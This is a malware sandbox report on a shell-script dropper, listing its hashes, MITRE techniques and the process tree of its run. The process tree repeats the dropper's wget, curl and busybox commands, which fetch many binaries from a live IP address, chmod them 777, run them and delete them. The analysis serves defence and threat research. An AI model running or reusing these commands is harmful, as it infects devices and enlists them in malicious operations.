9b9f5b9c4aaba8e7b2becac8d2148939ff8f382410715080402e8618a01780f2

Analysis

max time kernel
40s
max time network
42s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/11/2024, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9b9f5b9c4aaba8e7b2becac8d2148939ff8f382410715080402e8618a01780f2.sh
Size 10KB
Sample241112-c8bl4stanl
SHA256 9b9f5b9c4aaba8e7b2becac8d2148939ff8f382410715080402e8618a01780f2
MD5 ce82bb31f38a500a2b8983709d6c93c2
SHA1 9c995215ef296b6b9e4f3fca54292dc7602ab2ba
SHA512 7d6349e908b3676b42c997a21337cb0de5d5e2205de847e45b5d8cfe4b316b51dfb12bb260df587419ac45ce8d4164c1b1e9099790c31ecf2765dd22985a5782
SSDEEP 96:KSKNNHi/ttTa+JbSbSbEbRb1eecutEzK27NN5q/ttTa+GAbSbSbEbRb1rSHeq34n:KSKNNHi/ttTa+1ecC2NN+ttTa+05
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
936	chmod
930	chmod
741	chmod
763	chmod
820	chmod
850	chmod
897	chmod
794	chmod
826	chmod
856	chmod
885	chmod
916	chmod
924	chmod
710	chmod
806	chmod
870	chmod
910	chmod
788	chmod
800	chmod
876	chmod
863	chmod
891	chmod
904	chmod
689	chmod
814	chmod
832	chmod
844	chmod
838	chmod

Executes dropped EXE 28 IoCs

Checks CPU configuration 1 TTPs 28 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 56 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
859	wget
860	curl
704	busybox
774	curl
848	curl
864	zs5WTkipL9LhCshIEC341a91dqt91lczlH
767	wget
789	7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
849	busybox
713	rm
847	wget
852	rm
865	rm
692	wget
697	curl
712	zs5WTkipL9LhCshIEC341a91dqt91lczlH
861	busybox
783	busybox
790	rm
851	7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J	curl
File opened for modification	/tmp/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220	curl
File opened for modification	/tmp/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh	curl
File opened for modification	/tmp/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz	curl
File opened for modification	/tmp/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1	curl
File opened for modification	/tmp/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh	curl
File opened for modification	/tmp/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko	curl
File opened for modification	/tmp/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1	curl
File opened for modification	/tmp/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts	curl
File opened for modification	/tmp/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko	curl
File opened for modification	/tmp/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu	curl
File opened for modification	/tmp/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J	curl
File opened for modification	/tmp/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA	curl
File opened for modification	/tmp/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu	curl
File opened for modification	/tmp/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP	curl
File opened for modification	/tmp/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx	curl
File opened for modification	/tmp/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA	curl
File opened for modification	/tmp/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx	curl
File opened for modification	/tmp/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB	curl
File opened for modification	/tmp/zs5WTkipL9LhCshIEC341a91dqt91lczlH	curl
File opened for modification	/tmp/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk	curl
File opened for modification	/tmp/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP	curl
File opened for modification	/tmp/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk	curl
File opened for modification	/tmp/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts	curl
File opened for modification	/tmp/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220	curl
File opened for modification	/tmp/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz	curl
File opened for modification	/tmp/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB	curl
File opened for modification	/tmp/zs5WTkipL9LhCshIEC341a91dqt91lczlH	curl

/tmp/9b9f5b9c4aaba8e7b2becac8d2148939ff8f382410715080402e8618a01780f2.sh
/tmp/9b9f5b9c4aaba8e7b2becac8d2148939ff8f382410715080402e8618a01780f2.sh
1⤵
PID:656
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:658
- /usr/bin/wget
  wget http://216.126.231.240/bins/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  PID:660
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  PID:688
- /bin/chmod
  chmod 777 VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  ./VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  PID:691
- /usr/bin/wget
  wget http://216.126.231.240/bins/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - System Network Configuration Discovery
  PID:692
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - System Network Configuration Discovery
  PID:704
- /bin/chmod
  chmod 777 zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  ./zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:712
- /bin/rm
  rm zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - System Network Configuration Discovery
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  PID:734
- /bin/chmod
  chmod 777 lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  ./lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  PID:743
- /usr/bin/wget
  wget http://216.126.231.240/bins/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  PID:756
- /bin/chmod
  chmod 777 6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  ./6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm 6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  PID:766
- /usr/bin/wget
  wget http://216.126.231.240/bins/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - System Network Configuration Discovery
  PID:767
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - System Network Configuration Discovery
  PID:783
- /bin/chmod
  chmod 777 7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  ./7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:789
- /bin/rm
  rm 7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - System Network Configuration Discovery
  PID:790
- /usr/bin/wget
  wget http://216.126.231.240/bins/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  PID:793
- /bin/chmod
  chmod 777 hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  ./hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  PID:796
- /usr/bin/wget
  wget http://216.126.231.240/bins/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  PID:799
- /bin/chmod
  chmod 777 D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  ./D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm D6xwqFO8PDKHGx8xe83Ee6dThtxoFseFmA
  2⤵
  PID:802
- /usr/bin/wget
  wget http://216.126.231.240/bins/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  PID:805
- /bin/chmod
  chmod 777 7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  ./7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm 7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  PID:808
- /usr/bin/wget
  wget http://216.126.231.240/bins/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  PID:811
- /bin/chmod
  chmod 777 dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  ./dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm dDWIxJv7LXy0iuZxiimZkhZx3BTgBw8tFu
  2⤵
  PID:816
- /usr/bin/wget
  wget http://216.126.231.240/bins/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  PID:819
- /bin/chmod
  chmod 777 3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  ./3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm 3L5MtfR1zvyvkRo0Am7cLg9bo8vOA6MbyP
  2⤵
  PID:822
- /usr/bin/wget
  wget http://216.126.231.240/bins/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  PID:825
- /bin/chmod
  chmod 777 GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  ./GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/rm
  rm GlykBiquVrYh0lZhpbPhHwQ4ii3WeE9Wqk
  2⤵
  PID:828
- /usr/bin/wget
  wget http://216.126.231.240/bins/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  PID:831
- /bin/chmod
  chmod 777 SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  ./SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm SuTzVdYYg6kKfzq4KDCa9TfDTmHGr0uXZx
  2⤵
  PID:834
- /usr/bin/wget
  wget http://216.126.231.240/bins/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  PID:837
- /bin/chmod
  chmod 777 1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  ./1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm 1KnQuleVbAACp122h6OOWp5FZOiSuBEAaB
  2⤵
  PID:840
- /usr/bin/wget
  wget http://216.126.231.240/bins/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  PID:843
- /bin/chmod
  chmod 777 aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  ./aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm aW3VI1gs15C6e6iOghcmMv5uKNIvNj2gko
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - System Network Configuration Discovery
  PID:847
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - System Network Configuration Discovery
  PID:849
- /bin/chmod
  chmod 777 7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  ./7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:851
- /bin/rm
  rm 7CCoyipQmqAiMRQ5sER6UD1DVh0TADoL7J
  2⤵
  - System Network Configuration Discovery
  PID:852
- /usr/bin/wget
  wget http://216.126.231.240/bins/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  PID:855
- /bin/chmod
  chmod 777 VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  ./VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm VxGTCYEq6vaIQWIRmNAd2hdDSwCjEc6gts
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - System Network Configuration Discovery
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - System Network Configuration Discovery
  PID:861
- /bin/chmod
  chmod 777 zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/zs5WTkipL9LhCshIEC341a91dqt91lczlH
  ./zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:864
- /bin/rm
  rm zs5WTkipL9LhCshIEC341a91dqt91lczlH
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/wget
  wget http://216.126.231.240/bins/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  PID:869
- /bin/chmod
  chmod 777 lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  ./lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm lTmRVlrsqtaMqNBEj3R9Ghkv1Tc4omreF1
  2⤵
  PID:872
- /usr/bin/wget
  wget http://216.126.231.240/bins/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  PID:875
- /bin/chmod
  chmod 777 6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  ./6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm 6NVSM2x4lLz3QDe4bjV80NBLWIYCrVMJCh
  2⤵
  PID:878
- /usr/bin/wget
  wget http://216.126.231.240/bins/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  PID:884
- /bin/chmod
  chmod 777 7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  ./7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm 7pICio42YzhVHAB9XCZ8smXDZL6PXpB220
  2⤵
  PID:887
- /usr/bin/wget
  wget http://216.126.231.240/bins/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hzlE1XO4LkexhSbSXY0RjdhiUQXj2VxsGz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
